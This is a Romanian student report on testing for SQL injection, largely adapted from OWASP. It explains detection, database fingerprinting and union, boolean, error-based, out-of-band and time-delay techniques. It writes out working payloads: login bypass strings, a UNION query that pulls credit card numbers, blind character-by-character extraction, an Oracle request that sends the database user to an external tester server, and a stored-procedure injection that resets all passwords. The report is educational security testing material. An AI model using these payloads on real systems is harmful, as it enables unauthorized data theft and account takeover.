Testare SQL Injection [626421]

Testare SQL Injection
-Tranzactii economice prin internet –

Student: [anonimizat]: 442F

Cuprins

Definirea atacului de tip “SQL injection (SQLI)” ………………………….. ………………………….. ………………………. 3
Istorie ………………………….. ………………………….. ………………………….. ………………………….. ……………………….. 3
Descrierea problemei ………………………….. ………………………….. ………………………….. ………………………….. …. 3
Detectarea SQLI ………………………….. ………………………….. ………………………….. ………………………….. …………. 5
Testare standard SQLI ………………………….. ………………………….. ………………………….. ………………………….. … 6
Exemplul 1 ( SQLI clasic) ………………………….. ………………………….. ………………………….. ………………………. 6
Exemplul 2 (simpla declaratie SELECT) ………………………….. ………………………….. ………………………….. …… 7
Exemplul 3 (query -uri suprapuse) ………………………….. ………………………….. ………………………….. …………. 8
Amprentarea bazei de date ………………………….. ………………………….. ………………………….. ……………………… 8
Tehnici de exploatare ………………………….. ………………………….. ………………………….. ………………………….. …. 9
Tehnica de exploatare Union ………………………….. ………………………….. ………………………….. ……………….. 9
Tehnica de exploatare Boolean ………………………….. ………………………….. ………………………….. …………… 11
Tehnica de exploatare bazata pe erori ………………………….. ………………………….. ………………………….. …. 13
Tehnica de exploatare Out of Band ………………………….. ………………………….. ………………………….. ……… 13
Tehnica de exploata re Time delay ………………………….. ………………………….. ………………………….. ………. 14
Procedura de injectie stocata ………………………….. ………………………….. ………………………….. ……………… 15
Bibliografie ………………………….. ………………………….. ………………………….. ………………………….. ……………… 16

Definirea atacului de tip “SQL injection (SQLI) ”

Un atac de tip SQLI consta in inserarea sau injectarea fie partial sau complet a unui query SQL
prin introducerea de date sau transmiterea de la client(browser) catre aplicatia web.
Un atac care are succes poate citi date importante din baza de date, poate modifica baza de date
(insert/update/delete), poate executa operatii de tip administrator asupra bazei de date (precum
inchiderea DBMS(Database Management System)), poate recupera continutul unui anumit fisier existent
in sistemul de fisiere al DBMS sau poate scrie fisiere existente, si, in unele cazuri, poate da comenzi direct
sistemului de operare . Atacurile de tip SQLI sunt un tip de atacuri prin injectie, in care comenzi SQL sunt
inserate in planul de inserare a datelor cu scopul de a afecta executia unor comenzi SQL predefinite.
Istorie

Prima discutie publica despre SQLI a aparut in anul 1998 cand s -au inceput atacurile de tip SQLI
pentru scopuri educationale, aceste atacuri nefiind fcute inainte cu acest scop.
SQLI este considerat unul din cele 10 cele mai importante vulnerabilitati ale aplicatiilor web in
2007 si 2010 d e catre Open Web Application Security Project(OWASP).
In 2013 SQLI a fost evaluat de catre OWSAP ca fiind atacul numarul unu al aplicatiilor web.

Descrierea problemei

In general, modul in care aplicatiile web construiesc declaratii SQL, implicand sin taxa SQL scrisa
de programatori ,este amestecata cu date furnizate de catre utilizatori.
Ex: SELECT title, text FROM news WHERE id=$id
In exemplul de mai sus, variabila $id contine date furnizate de catre utilizator, in timp ce partea
statica de SQL est e furnizata de programator, facand aceasta declaratie dinamica.
Datorita modului in care a fost construita, utilizatorul poate insera date false, in incercarea de a
face declaratia SQL originala sa execute mai multe actiuni, la alegerea utilizatorului. Exe mplul urmator
ilustreaza datele furnizate de utilizator „10 or 1=1”, care schimba logica declaratiei SQL, modificand
clauza WHERE, adaugand conditia „or 1=1”.

SELECT title, text FROM news WHERE id=10 or 1=1
Atacurile SQLI pot fi impartite in urmatoarele trei clase:
 Inband: datele sunt extrase utilizand acelasi canal care este folosit pentru injectarea
codului SQL. Acesta este cel mai direct tip de atc, in care data sustrasa este prezentata
direct in pagina aplicatiei web.
 Out-of-band: dat ele sunt extrase utilizand un diferit canal (un email cu rezultatele query –
ului este generat si trimis celui care testeaza).
 Inferential or Blind: nu exista nici un transfer actual de date, dar cel care testeaza este in
stare sa reconstruiasca informatia trimitand cereri particulare si observand
comportamentul serverului bazei de date.
Un atac care a avut succes necesita din partea atacatorului un query SQL sintactic corect. Daca
aplicatia returneaza un mesaj de eroare generat de un query incorect, atunci ar fi mai usor pentru
atacator sa reconstruiasca logica quer -ului initial si sa inteleaga cum sa sa efectueze injectia corect. Cu
toate astea, daca aplicatia ascunte detaliile erorii, testerul trebuie sa fie in stare sa inverseze logica
query -ului original.
Cinci dintre cele mai comune tehnici folosite pentru exploatarea defectelor SQLI:
 Union Operator : poate fi folosit cand punctul slab al SQLI este prezent intr -o declaratie
SELECT, facand posibila combinare a doua query -uri intr -un singur set de rezultate.
 Boolean : folosirea conditiilor de tip Boolean pentru verificarea anumitor conditii
 Error based : aceasta tehnica forteaza baza de date sa genereze o eroare, dandu -i
atacatorului sau testerului informatii cu care poate imbunatati injectia.
 Out-of-band : tehnica este folo sita pentru retragerea datelor folosind un canal
diferit(crearea unei conexiuni HTTP pentru a trimite rezultatele unui server web).
 Time delay : foloseste comezi pentru baza de date pentru a intarzia raspunsurile in
query -uri conditionale. Este folositor at unci cand atacatorul nu are un nici tip de raspuns
(rezultat sau eroare) de la aplicatie.

Detectarea SQLI

Primul pas spre testare este sa intelegem cand aplicatia interactioneaza cu serverul bazei de date
pentru a accesarea datelor. Exemple de cazuri in care o aplicatie trebuie sa „vorbeasca” cu o baza de
date includ:
 Formulare de autentificare : cand autentificarea este facuta folosind un formular web, sunt
sanse ca aplicatia sa verifice datele de intrare cu o baza de date care contine toate num ele
utilizatorilor si parolele acestora.
 Motoare de cautare : sirul de caractere trimis de catre utilizator poate fi folosit intr -un querry
SQL care extrage arhivele relevante din baza de date.
 Site-uri E -Commerce : produsele si caracteristicile acestora (pr et, descriere etc) sunt foarte
probabil stocate intr -o baza de date.

Testerul trebuie sa faca o lista cu toate campurile de intrare ale caror valori pot fi folosite in
construirea unui query SQL, incluzand campurile ascunse ale cererii de tip POST si sa l e testeze separat,
incercand sa interfereze cu query -ul si sa genereze o eroare.
Primul test , de obicei, consta in adaugarea unei singure gilimele(‚) sau punct si virgula(;) in
campul sau parametrul testat. Primul este folosit in SQL pentru terminarea unui sir de caractere, si daca
nu este filtrat de catre aplicatie, va duce catre un query incorect. Al doilea este folosit pentru incheierea
unei declaratii SQL si, daca nu este filtrat, este probabil sa genereze o eroare. Rezultatul unui camp
vulnerabil p oate fi asemanator cu urmatoarea secventa de cod(Microsoft SQL Server):
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/target/target.asp, line 113
De asemenea comentarea delimitatorilor ( – sau /* */, etc) si alte cuvinte cheie SQL precum
„AND” and „OR” pot fi folosite pentru a modifica un querry. O metoda simpla si uneori eficace este
simpla inserarea a unui string unde un numar este ast eptat; o eroare asemanatoare cu urmatoarele linii
de cod poate fi generata:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113

Cateodata eroarea este prezenta in codul sursa, dar pentru un motiv anume (ex: eroare
javascript, comentarii HTML, etc) nu este prezentataa utilizatorului. Un mesaj de eroare ca cele din
exemple, ofera destula informatie testerului pentru a da un atac cu succes. Cu toate astea, aplicatiile tind
sa nu ofere atat de multe detalii: o simpla „500 Server Error” sau o pagina customizata pentru erori pote
fi instantiata, insemnand ca trebuie folosita tehnica „blind injection”. In orice caz, este foarte important
ca fiecare camp sa fie testat separat: doar o variabila trebuie sa varieze in timp ce celelalte raman
constante, pentru a intelege exact care parametri sunt vulnerabili si care nu.

Testare standard SQLI

Exemplul 1 ( SQLI clasic)
Consideram urmatorul query SQL:
SELECT * FROM Users WHERE Username='$username' AND Password='$password'
Un query similar este in general folosit pentru autentificarea unui utilizator. Daca returneaza o
valoare, inseamna ca, exista un utiliz ator in baza de date care corespunde acestor credentiale, apoi
acesta este lasat in sistem. Daca nu returneaza o valoare accesul este blocat. Valorile camputilor sunt in
general obtinute de la utilizator printr -un formular web.
Se presupune ca intruducem urmatoarele valori pentru Username si Password:
$username =1’ or ’1’=’1
$password = 1’ or ’1’=’1
Query -ul va fi:
SELECT * FROM Users WHERE Username=’ 1’ or ’1’=’1’ AND Password= 1’ or ’1’=’1’
Daca presupunem ca valorile parametrilor sunt trimise serverului folosind metoda GET, si daca
domeniul site -ului web vulnerabil este www.example.com , cererea pe care o vom efectua va fi:
http://www. example .com /index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or
%20'1'%20=%20'1
Dupa o scurta analiza se observa ca query -ul returneaza o valoare(sau un set de valori) deoarece
conditia este intotdeauna adevarata (OR 1=1). In acest fel, sistemul a autentificat utilizatorul far a sa stie
username -ul si parola

Un alt exemplu de querry este :
SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))
In acest caz se observa doua probleme, una din cauza folosirii parantezelor si una din ca uza
folosirii functiei de hasurare MD5. In primul rand, se rezolva problema parantezelor. Asta consta in
adaugarea unui numar de paranteze inchise , pana obtinem un query corect. Pentru a rezolva a doua
problema, se incearca evitarea celei de -a doua condit ii. Adaugam query -ului un simbol final care
inseamna ca un comentariu incepe. In acest fel, orice care urmeaza dupa acest simbol este considerat un
comentariu. Fiecare DBMS are sintaxa specifica pentru comentarii, cu toate astea, un simblo comun
pentru toa te bazele de date este /* . In Oracle, simbolul este „ –”
Valorile folosite pentru Username si Parolaa sunt urmatoarele:
$username = 1' or '1' = '1'))/*
$password = foo
In acest fel vom obtine urmatorul query:
SELECT * FROM Users WHERE ((Username='1' o r '1' = '1'))/*') AND (Password=MD5('$password')))
Datorita inserarii simbolului pentru comentariu, parola va fi ignorata.
Cererea URL va fi:
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo

Exemplul 2 (simpla declaratie SELECT)
Consideram urmatorul query SQL:
SELECT * FROM products WHERE id_product=$id_product
Consideram de asemenea cererea HTTP a unui scrip care executa query -ul de mai sus
http://www.example.com/product.php?id=10
Cand testerul incearca o val oare valida (ex 10 in acest caz), aplicatia va returna descrierea unui
produs. O buna metoda pentru a testa daca aplicatia este vulnerabila in acest scenariu este jucatul cu
logica, folosind pperatorii AND si OR.
Consideram cererea:
http://www.example.com/product.php?id=10 AND 1=2
SELECT * FROM products WHERE id_product=10 AND 1=2

In acest caz, aplicatia va returna probabil un mesaj in care ne va informa ca nu exista continut,
sau o pagina alba. Dupa asta, testerul poate trimite o dec laratie adevarata si poate verifica daca exista un
rezultat valid :
http://www.example.com/product.php?id=10 AND 1=1
Exemplul 3 (query -uri suprapuse)
Depinzand de API -ul pe care plicatia web il foloseste si de DBMS (ex: PHP + PostgreSQL, ASP+SQL
SERVER) ar putea fi posibila executia mai multor query -uri intr -un singur apel.
Considedam urmatorul query SQL:
SELECT * FROM products WHERE id_product=$id_product
O metoda pentru a exploata scenariul de sus ar fi:
http://www.example.com/product.php?id=10; INSE RT INTO users (…)
In acest fel este posibila executia mai multor query -uri intr -un rand si independent de primul
query.

Amprentarea bazei de date

Chiar daca limbajul SQL este un standard, fiecare DBMS are particularitatile si diferentele ei in
mai multe aspecte, precum comenzi speciale, functii pentru a afla anumite date precum numele
utilizatorilor si numele bazelor de date, linii de comentarii etc.
Cand testerii incearca o metoda mai avansata de exploatare SQLI trebuie sa stie backend -ul.
1) Prima modalitate de a afla care este backend -ul este prin observarea erorii returnata de
aplicatie:

Mysql:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right syntax to use near ' \'' at line 1

Oracle:

ORA -00933: SQL command not properly ended

MS SQL Server:

Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string

PostgreSQL:

Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/si te/test.php on line 121.

2) Daca nu este nici un mesaj de eroare sau un mesaj customizat, testerul poate incerca injectia
in campul sirului de caractere folosind metode de concatenare:
MySql: ‘test’ + ‘ing’
SQL Server: ‘test’ ‘ing’
Oracle: ‘test’||’ing’
PostgreSQL: ‘test’||’ing

Tehnici de exploatare

Tehnica de exploatare Union
Operatorul UNION este folosit in injectia SQL pentru a uni doua query -uri, adaugate de catre
tester, query -ului original. Rezultatul query -ului creat va fi alaturat rezulatului query -ului original,
permitandu -i testerului sa obtina valorile coloanelor altor tabele.
Exemplu:
SELECT Name, Phone, Address FROM Users WHERE Id=$id
Vom avea urmatoarea valoare $id:
$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
Vom avea urmatorul query:
SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT
creditCardNumber,1,1 FROM CreditCardTable
Care va alatura rezultatul query -ului original cu cel al numerelor cardurilor de credit din tabelul
CreditCardTable. Cuvantu l cheie ALL este necesar in query -uri care folosesc cuvantul cheie DISTINCT.

Mai mult, se observa ca in afara de numerele cardurilor de credit am mai selectat alte doua valori. Aceste
doua valori sunt necesare, deoarece cele doua query -uri trebuie sa aiba un numar egal de
parametric/coloane pentru a evita eroarea de sintaxa.
Primul detaliu pe care un test er trebuie sa il aiba in vedere in exploatarea vulnerabilitatilor de
acest tip este gasirea numarului corect de coloane in declaratia SELECT.
Pentru a obtine asta, testerul poate folosi clauza ORDER BY urmata de un numar, indicand
numarul de col oane din baza de date selectata:
http://www.example.com/product.php?id=10 ORDER BY 10 –
Daca query -ul este executat cu succes, testerul poate presupune, in aces t exemplu, ca sunt 10
sau mai multe coloane in declaratia SELECT. Daca query -ul nu este executat cu succes atunci ar trebui sa
fie mai putin de 10 coloane executate de acesta. Un mesaj de eroare precum acesta ar putea aparea:
Unknown column '10' in 'order clause'
Dupa ce testerul gaseste numarul de coloane, urmatorul pas este gasirea tipului de coloane.
Presupunand ca sunt 3 coloane in exemplul de mai sus, testerul ar putea incerca fiecare coloana, folosind
valoarea NULL:
http://www.example.com/product.php?id=10 UNION SELECT 1,null,null —
Daca query -ul nu are succes, testerul va vedea probabil un mesaj asemanator cu acesta:
All cells in a column must have the same datatype
Daca query -ul este executat cu succes, prima col oana poate fi un integer. Dupa asta testerul
poate avansa:
http://www.example.com/product.php?id=10 UNION SELECT 1,1,null —
Dupa culegerea de informatii, depinzand de aplicatie, ii poate arata testerului primul rezultat,
deoarece aplicatia trateaza doar p rima linie din setul de rezultate. In acest caz, este posibila folosirea
unei conditii LIMIT sau testerul poate seta o valoare individuala, facand doar al doilea query
valid(presupunem ca nu este nici o intrare in baza de date cu ID=99999):
http://www.exam ple.com/product.php?id=99999 UNION SELECT 1,1,null —

Tehnica de exploatare Boolean
Tehnica de exploatare Boolean este foarte folositoare cand testerul gaseste o situatie de Blind
SQLI, in care nimic nu este cunoscut dupa efectuarea unei operatii. De exemp lu, acest lucru se intampla
in cazul in care programatorul a creat o pagina customizata de eroare care nu dezvaluie ni mic din
structura query -ului sau a bazei de date.
Prin folosirea metodelor de interferenta, este posibila evitarea acestui obstacol si, astfel,
succesul in aflarea valorilor campurilor dorite. Aceasta metoda consta in efectuarea unei serii de query –
uri de tip boolean impotriva serverului, observand raspunsurile si in final deducand intelesul acestora.
Consideram, ca si pana acum, www.example.com domeniul si presupunem ca contine un parametru
numit id vulnerabil la SQLI. Asta inseamna ca efectuand aceasta cerere :
http://www.example.com/index.php?id= 1'
Vom obtine o pagina cu un mesaj de eroare customizat din cauza unei erori sintactice in query.
Presupunem ca query -ul executat de server este :
SELECT field1, field2, field3 FROM Users WHERE Id='$Id'
Care este exploatabila prin metodele deja detaliate mai sus. Cee ce vrem este sa obtinem valorile
campului „username”. Testele pe care le vom executa ne vor permite sa obtinem valoare campului,
extragand aceasta valoare caracter cu caracter. Asta este posibil prin folosire unor functii standard,
presente practic in oricare baza de date. Pentru exemplele noaster vom folosi pseudo -functiile:
SUBSTRING(text, start, length): returneaza un subsir care incepe din pozitia „start” a textului, de
lungime „length”. Daca „start” este mai mare ca lungimea te xtului, functia returneaza o valoare nula.
ASCII(char): returneaza valoarea ASCII a caracterului de intrare. O valoare nula este returnata
daca char=0.
LENGTH(text): returneaza numarul de caractere in rextul de intrare.
Folosind aceste functii, vom exe cuta testele asupra primului caracter si, cand am descoperit
valoarea, vom trece la al doilea caracter si tot asa, pana cand vom descoperi intreaga valoare. Testele vor
profita de functia SUBSTRING, pentru a selecta cate un caracter odata, si de functia AS CII, pentru a
obrine valoarea ASCII, folosita in compararea numerica. Rezultatul comparatiei se va face cu toate
valorile tabelului ASCII, pana cand valoarea corecta va fi gasita. Ca exemplu, vom folosi urmatoarea
valoare pentru id:
$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1
Aceasta creeaza urmatorul query (de acum incolo, il vom numi „query dedus”);
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97
AND '1'='1'

Exemplul anterior returnea za un rezultat daca si numai daca primul caracter al campului
„username” este egal cu valoarea ASCII 97. Daca primim o valoare falsa, atunci crestem indexul tabelului
ASCII de la 97 la 98 si repetam cererea. Daca in schimb obtinem o valoare adevaratam seta m indexul
zero al tabelului ASCII si analizam urmatorul caracter, modificand parametrii functiei SUBSTRING.
Problema este sa intelegem in ce fel putem putem distinge testele care returneaza o valoare falsa de
cele care returneaza o valoare adevarata. Pentr u a realiza asta, trebuie sa cream un query care
returneaza intotdeauna fals. Asta este posibil prin utilizarea urmatoarei valori id:
$Id=1' AND '1' = '2
Care va crea urmatorul query:
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
Raspunsul obtinut de la server(codul HTML) va fi valoarea falsa pentru testele noastre. A acest
lucru este de ajuns pentru verificarea daca valoarea obtinuta din executia query -ului dedus es te egala cu
valoarea obtinuta in testu l executat. Cateodata, aceasta metoda nu functioneaza. Daca serverul
returneaza doua pagini diferite ca rezultatul a doua cereri web consecutive identice, nu vom putea fi in
stare sa diferentiem adevarata valoare de cea falsa. In aceste cazuri particulare, este necesar sa folosim
filtre care ne permit sa eliminam codul care se schimba intre cele doua cereri si sa obtinem un template.
Mai tarziu, pentru fiecare cerere dedusa executata, vom extrage template -ul relativ din raspuns folosind
aceeasi functie, si vom efectua un control intre c ele doua template -uri pentru a decide rezultatul
testului.
In paragrafele anterioare nu am avut de a face cu problema determinarii conditiilor de terminare
a testelor, spre exemplu cand ar trebui sa incheiem procedura de deducere. O tehnica pentru realiza rea
acestui lucru este o caracteristica a functiei SUBSTRING si a functiei LENGTH. Cand testul compara
caracterul curent cu codul ASCII 0(valoarea nula) si testul returneaza valoarea adevarata, atunci fie am
terminat cu procedura de deducere(am scanat tot stringul), sau valoarea pe care am analizato contine
caracterul nul.
Vom insera urmatoarea valoare in campul id:
$Id=1' AND LENGTH(username)=N AND '1' = '1
Unde N este numarul de caractere pe care l -am analizat pana acum (nu numaraam valoarea
nula). Q uerry -ul va fi:
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
Query -ul returneaza adevarat sau fals. Daca obtinem adevarat atunci am completat deducerea
si, prin urmare, cunoastem valoarea parametrului. Daca o btinem fals, asta inseamna ca este prezent
caracterul nul in valoarea parametrului, si trebuie sa continuam analiza urmatorului parametru pana
gasim o alta valoare nula.

Folosirea atacului de tip Blind SQLI necesita nu numar mare de query -uri. Testerul poa te avea
nevoie de o automatizare pentru a exploata vulnerabilitatea.

Tehnica de exploatare bazata pe erori
Tehnicile de exploatare bazata pe erori se utilizeaza atunci cand testerul, dintr -un anumit motiv
nu poate exploata vulnerabilitatea SQLI folosind a lte tehnici precum UNION. Tehnica de exploatare
bazata pe erori consta in fortarea bazei de date sa execute o operatie al carei rezultat va fi o eroare, idea
fiind sa se extraga anumite informatii din baza de date pentru a fi afisata in mesajul de eroare. Aceasta
tehnica de exploatare poate fi diferita de la un DBMS la altul.

Consideram urmatorul query SQL:
SELECT * FROM products WHERE id_product=$id_product
Consideram de asemenea cererea catre un script care executa query -ul de mai sus:
http://www.exam ple.com/product.php?id=10
Cererea daunatoare ar arata in felul urmator (ex. Oracle 10g):
http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user
FROM DUAL) ) –
In acest examplu, testerul concateneaza valoarea 10 cu rezultatul functiei
UTL_INADDR.GET_HOST_NAME. Aceasta functie Oracle va incerca sa redea hostname -ul parametrului
pasat, care este celalalt query, numele userului. Cand baza de data cauta un hostname asociat unui
nume din baza de date aceasta operatie va esua si reda un mesaj de eroare asemanator cu:
ORA -292257: host SCOTT unknown
Testerul poate manipula parametrul pasat functiei GET_HOST_NAME() si rezultatul va fi afisat in
mesajul de eroare.

Tehnic a de exploatare Out of B and
Aceasta tehnica este folositoare cand testerul gaseste o situatie de Blind SQL Injection, in care nu
se cunoaste nimic despre rezultatul unei operatii. Aceasta tehnica consta din folosirea functiilor DBMS
pentru a crea o conexiune si a produce rezultatele query -ului SQLI ca parte a cererii la serverul testerului.
Asememnea tehnicilor bazate pe erori, fiecare DBMS are propria lui functie.

Consideram urmatorul query SQL:
SELECT * FROM products WHERE id_product=$id_product
Consideram de asemenea cererea catre un script care executa query -ul de mai sus:
http://www.example.com/product.php?id=10
Cererea daunatoare ar arata in felul urmator:
http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELE
CT user FROM DUAL) –

In acest examplu, testerul concateneaza valoarea 10 cu rezultatul funct iei UTL_HTTP.request.
Aceasta functie oracle incearca sa conecteze la “testerserver” sis a faca o cerere HTTP GET care sa
contina rezultatele query -ului “SELECT user FROM DUAL”. Testerul poate sa seteze un webserver (de
exemplu Apache) sau sa foloseasca Ne tcat:
/home/tester/nc –nLp 80
GET /SCOTT HTTP/1.1 Host: testerserver.com Connection: close

Tehnica de exploatare Time delay
Tehnica de exploatare Time delay este foarte folositoare cand testerul gaseste o situatie de Blind
SQLI, in care nimic nu este cunoscut dupa efectuarea unei operatii. Aceasta tehni ca consta din trimiterea
unui query inserat, iar in cazul in care conditia este adevarata, testerul poate mo nitoriza timpul necesar
serverului sa raspunda. Daca exista un delay, testerul poate presupune ca rezultatul query -ului
conditional este adevarat. Aceasta tehnica de exploatare poate varia de la un DBMS la altul.
Consideram urmatorul query SQL:
SELECT * FROM products WHERE id_product=$id_product
Consideram de asemenea cererea catre un script care executa query -ul de mai sus:
http://www.example.com/product.php?id=10
Cererea daunatoare ar arata in felul urmator( de exemplu MySql 5.x):
http://www.example .com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’)) –
In acest exemplu, testerul verifica daca versiunea MySql este 5.x sau nu, cauzand serverul sa
intarzie raspunsul cu 10 secunde. Testerul poate sa mareasca acest timp si sa monitoriz eze rezultatele.

De asemenea acesta nu are nevoie sa astepte raspunsul. Uneori el poate sa seteze o valoare foarte mare
( de exeplu 100) si sa canceleze cererea dupa numai cateva secunde.

Procedura de injectie stocata
In momentul folosirii SQL dynamic intr -o procedura stocata, aplicatia trebuie sa verifice în mod
corespunzător datele introduse de utilizator pentru a elimina riscul injectarii codului. Daca aceste date
nu sunt verificate, userul poate insera SQL daunator ce va fi executat in cadrul procedurii stocate.
Consideram urmatoarea procedura stocata in serverul SQL:
Create procedure user_login @username varchar(20), @passwd varchar(20) As Declare
@sqlstring varchar(250) Set @sqlstring = ‘ Select 1 from users Wh ere username = ‘ + @username
+ ‘ and passwd = ‘ + @passwd exec(@sqlstring) Go
Intrarea utilizatorului:
anyusername or 1=1' anypassword
NOTA : acest exemplu ar putea parea improbabil datorita folosirii SQL dinamic pentru a
autentifica un utilizator, dar es te considerat un query dinamic de raportare unde utilizatorul selecteaza
coloanele pe care doreste sa le vada. Utilizatorul ar putea insera cod daunator in acest scenariu pentru a
compromite datele.
Consideram urmatoarea procedura stocata in serverul SQL:
Create procedure get_report @columnamelist varchar(7900) As Declare @sqlstring
varchar(8000) Set @sqlstring = ‘ Select ‘ + @columnamelist + ‘ from ReportTable‘
exec(@sqlstring) Go
Intrarea utilizatorului:
1 from users; update users set password = 'password'; select *
Datorita acestui lucru raportul va rula si toate parolele utilizatorilor vor fi actualizate.

Bibliografie

http://en.wikipedia.org/wiki/SQL_injection
https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OWASP -DV-005)
http://www.unixwiz.net/techtips/sql -injection.html